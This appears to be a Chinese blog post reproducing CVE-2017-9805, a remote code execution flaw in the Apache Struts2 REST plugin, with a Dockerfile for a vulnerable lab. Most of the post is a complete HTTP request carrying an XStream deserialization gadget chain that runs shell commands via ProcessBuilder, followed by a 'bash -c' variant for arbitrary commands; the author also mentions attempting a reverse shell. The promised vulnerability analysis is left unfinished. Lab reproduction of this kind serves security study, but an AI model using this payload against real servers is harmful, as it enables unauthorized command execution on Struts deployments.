CVE-2017-9805(Struts2 漏洞复现与分析)

前天发布的新漏洞,以前Struts的漏洞也是经常出,今年三月份就有一次。但这类的洞一直没有跟进,今天也是想着把它给复现一下,同时搭个环境分析一下漏洞形成的原因。

0x01 漏洞简介

漏洞背景 2017年9月5日,Apache官方发布了一则公告,该公告称Apache Struts2的REST插件存在远程代码执行的高危漏洞,CVE编号为CVE-2017-9805。 Struts2 REST插件的XStream组件存在反序列化漏洞,使用带有 XStream实例的 XStreamHandler进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。

0x02 环境搭建

env 版本
docker 16.04
jdk 1.8.0_144
struts源码 2.5.12
tomcat 8.0.46

直接从官网下载相对应的源码

0x1 dockerfile

FROM ubuntu:16.04 

MAINTAINER 4t10n <act01n@163.com>
ENV DEBIAN_FRONTEND noninteractive 

RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list

RUN apt-get update -y \
    && apt-get install unzip\
    && apt-get install net-tools


WORKDIR /tmp 
COPY  ./apache-tomcat-8.0.46.tar.gz  /tmp/
COPY  ./jdk.tar.gz  /tmp/
COPY  ./struts.zip  /tmp/
COPY  ./cmd.sh  /tmp/ 
RUN  chmod a+x cmd.sh 


EXPOSE 8080

CMD ["/bin/bash","/tmp/cmd.sh"]

cmd.sh

tar -xz -f jdk.tar.gz -C /usr/local/
tar -xz -f apache-tomcat-8.0.46.tar.gz -C /usr/local/
unzip struts.zip -d /usr/local/apache-tomcat-8.0.46/webapps

mv /usr/local/apache-tomcat-8.0.46/webapps/struts-2.5.12/apps/struts2-rest-showcase.war ./../../
# setup jdk
echo '''
JAVA_HOME=/usr/local/jdk1.8.0_144
JAVA_BIN=/usr/local/jdk1.8.0_144/bin
PATH=$PATH:$JAVA_BIN
CLASSPATH=$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar
export JAVA_HOME JAVA_BIN PATH CLASSPATH
'''>>/etc/profile
source /etc/profile
/usr/local/apache-tomcat-8.0.46/bin/startup.sh

/bin/bash

相关源码在Github

0x2 攻击代码

这里只是生成一个文件4ct10n

POST /struts2-rest-showcase/orders/3 HTTP/1.1
Host: 192.168.43.165:8989
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.43.165:8989/struts2-rest-showcase/orders/3/edit
Cookie: JSESSIONID=31A64A6CF6021DA63449D6DDEF10202F
Connection: close
Content-Type: application/xml
Content-Length: 1656

<map> 
<entry> 
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>/usr/bin/touch</string><string>/home/4ct10n</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
</entry> 
</map>

这里写图片描述

这里写图片描述

0x3 攻击后续

其实在正真测试的时候已近发现了一些指令受了限制,但是一开始并没有进行研究,今天瞅了一眼freebuf文章,看是已经能够执行任何指令,这里是连接

我在这也是实验了一发,试了一下文中说的其他指令,但唯独shell反弹没有成功

文中主要说的利用方法是利用bash -c指令
具体格式如下

<command>
<string>bash</string>
<string>-c</string>
<string>echo asd >/tmp/4ct10n</string>
</command>

这里写图片描述

怎么反弹shell ……. ,在线等

0x02 漏洞分析

未完待续

发布了99 篇原创文章 · 获赞 51 · 访问量 71万+

猜你喜欢

转载自blog.csdn.net/qq_31481187/article/details/77887556